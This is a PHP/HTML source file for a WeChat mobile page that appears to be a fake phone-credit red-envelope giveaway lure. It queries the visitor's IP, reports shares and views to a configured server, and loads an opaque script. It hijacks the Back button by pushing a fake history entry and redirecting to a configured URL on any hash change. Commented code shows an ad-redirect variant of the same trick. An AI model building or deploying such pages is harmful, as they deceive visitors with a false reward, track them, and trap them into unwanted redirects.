<?php
$data = require_once './data.php';
require_once __DIR__ . '/include.php';
$config = array(
    'app_id' => $data['app_id'],
    'app_secret' => $data['app_secret'],
);
require_once __DIR__ . "/wechat/jssdk.php";
@$jssdk = new JSSDK($config['app_id'], $config['app_secret']);
@$signPackage = $jssdk->GetSignPackage();
$config2 = require_once 'config2.php';
$config2['money'] = isset($_GET['m']) ? intval($_GET['m']) : 100;
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script src="js/jquery-3.3.1.min.js"></script>
    <script src="js/jweixin-1.2.0.js"></script>
    <script src="js/wxshare.js"></script>
    <script src="//ip.ws.126.net/ipquery"></script>
    <!-- <link rel="stylesheet" href="https://0505qqt.oss-cn-hangzhou.aliyuncs.com/huafei/index.css">-->
    <style>
        *{padding:0;margin:0}body{font-family:"Microsoft Yahei","Helvetica Neue",Helvetica,Arial,sans-serif;font-size:16px}#content{text-align:center;width:100%;margin:0 auto;background-color:rgba(0,0,0,.9);height:100%;position:absolute}#content #red{background:#218cca;position:absolute;width:90%;height:85%;border-radius:10px;margin-left:5%;margin-top:10%}#content #red .redtop{height:60%;border:1px solid #33a4e6;background-color:#33a4e6;border-radius:5px 5px 50% 50%/5px 5px 15% 15%;box-shadow:0 2px 0 -1px #33a4e6}#content #red .redtop .zu{position:relative}#content #red .redtop .zu img{width:70px;height:70px;overflow:hidden;margin-top:15%}#content #red .redtop .tips{padding-top:10px;margin:0 auto;color:#fff}#content #red .redtop .bao{font-size:1.7rem}#content #red .redtop .liu{font-size:1.0rem}#content #red #kai{position:absolute;left:0;top:50%;width:100%;height:100px}#content #red #kai img{display:block;width:100px;height:100px;margin:0 auto}#content #red #kai p{display:block;position:absolute;width:100%;height:100px;line-height:100px;left:0;top:0;text-align:center;font-size:38px;color:#f15f50}#content #red #pars{width:100%;height:80px;position:absolute;left:0;bottom:10px}#content #red #pars ul li{list-style:none;display:block;width:31%;margin:0 1%;float:left;height:80px}#content #red #pars ul li img{display:block;width:50px;height:50px;margin:0 auto}#content #red #pars ul li p{height:30%;line-height:30px;color:#fff}#mart{text-align:center;width:100%;margin:0 auto;background-color:#fff;height:100%}#mart #top{width:100%;box-shadow:0 1px 0 -1px rgba(0,0,0,.2);line-height:100px;text-align:center;background:url('pic/72014a6dc145f60f4da6109fa3dd418.jpg') no-repeat;background-size:100%;color:#fff;margin:auto;height:100px}#mart .qcrod{width:80px;height:80px;margin:auto;text-align:center;background:url('pic/123456789aw.png') no-repeat;background-size:100%}#mart #bot{clear:both;margin-top:8px}#mart #bot .t{clear:both;font-size:20px;height:30px}#mart #bot .gb{clear:both;margin-top:18px;font-size:20px}#mart #bot .gb span{font-size:42px}#mart #bot .dianwo{clear:both;width:40%;height:50px;font-size:18px;line-height:50px;border-radius:8px;background:#1d99e1;color:#fff;text-align:center;margin:9px auto 10px auto;display:block;text-decoration:none;border:0}#mart #bot .bao{clear:both;background-color:#faf6f1;border-top:1px #f0eeea solid;border-bottom:1px #f0eeea solid;margin-top:10px;height:45px}#mart #bot .bao p{text-align:left;color:#999;font-size:20px;line-height:45px}#mart #bot #lie{width:100%}#mart #bot #hovlist{display:block;width:94%;margin:0 auto}#mart #bot #hovlist li{list-style:none;display:block;height:70px;width:100%;float:left;border-bottom:1px solid #e5e5e5;overflow:hidden;clear:both}#mart #bot #hovlist li .ltu{width:15%;height:70px;float:left}#mart #bot #hovlist li .ltu img{display:block;width:80%;border-radius:45%;margin-top:20%}#mart #bot #hovlist li .clname{width:35%;float:left;height:70px;text-align:left}#mart #bot #hovlist li .clname p{height:40px;line-height:40px}#mart #bot #hovlist li .clname span{font-size:14px;color:#aaa}#mart #bot #hovlist li .rling{width:50%;float:left;height:70px;text-align:right;line-height:70px;color:#1d99e1}#fxt{width:100%;height:900px;background:black;position:fixed;left:0;top:0;z-index:88;opacity:.8}#fxt img{display:block;width:100%}
        .weui_dialog{position:fixed;z-index:999999999;width:85%;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);background-color:#fafafc;text-align:center;border-radius:10px;font-family:arial}
        .weui_mask{position:fixed;z-index:1;width:100%;height:100%;top:0;left:0;background:rgba(0,0,0,.6)}
        .weui_dialog_hd{padding:0em 0 .3em}
        .weui_dialog_bd{padding:0 20px;font-size:16px;color:#888;word-wrap:break-word;word-break:break-all}
        .weui_dialog_ft{border-bottom-left-radius:10px;background-color:#e3c291;position:relative;line-height:42px;margin-top:20px;font-size:17px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}
        .weui_dialog_ft:after{content:" ";position:absolute;left:0;top:0;width:100%;height:1px;border-top:1px solid #d5d5d6;color:#d5d5d6;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}
        .weui_btn_dialog.primary{color:#fff}
        .weui_dialog_ft a{display:block;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;color:#3cc51f;text-decoration:none;-webkit-tap-highlight-color:transparent}
        .weui_dialog_title{font-weight:400;font-size:17px;color:#000}
        .weui_close{ display: block; position: absolute; top: 6px; right: 6px; }
    </style>
    <link rel="stylesheet" href="css/animate.css">
</head>
<body>
<input type="hidden" name="obj" value="<?php echo base64_encode(json_encode($config2))?>"/>
<script>
    function share1(){
        $.ajax({
            'url' : 'http://<?php echo $data['d6'];?>/count.php',
            'method' : 'POST',
            'data': {res: 'friend'},
            'success' : function(){}
        });
    }

    function share2(){
        $.ajax({
            'url' : 'http://<?php echo $data['d6'];?>/count.php',
            'method' : 'POST',
            'data': {res: 'timeline'},
            'success' : function(){
                // document.location.href = jump_url2;
            }
        });
    }
    $.ajax({
        'url' : 'http://<?php echo $data['d6'];?>/count_views.php',
        'method' : 'POST',
        'data': {res: 'friend'},
        'success' : function(){}
    });
    var alex = <?php echo json_encode($signPackage)?>;
    var obj = JSON.parse(window.atob('<?php echo base64_encode(json_encode($config2))?>'));
    console.log(obj);
    setTimeout(function(){
        history.pushState(history.length + 1, "message", "#" + new Date().getTime());
    },200);
    window.onhashchange = function() {
        ad();
    };
    function ad(){
        <?php if($data['back_url2']):?>
        location.href = '<?php echo $data['back_url2'] ?>';
        <?php endif?>
    }
    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id']?>";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
    // $.getJSON(obj.advapi+'/jf',function (e) {
    //     setTimeout(function(){
    //         history.pushState(history.length + 1, "message", "#" + new Date().getTime());
    //     },200);
    //     window.onhashchange = function() {
    //         location.href = e.url+'&pk=0505qqt_haufei';
    //     };
    // });
</script>
<script src="js/c.js?wsa=ac&dd=sdds&t=<?php echo time();?>"></script>
</body>
</html>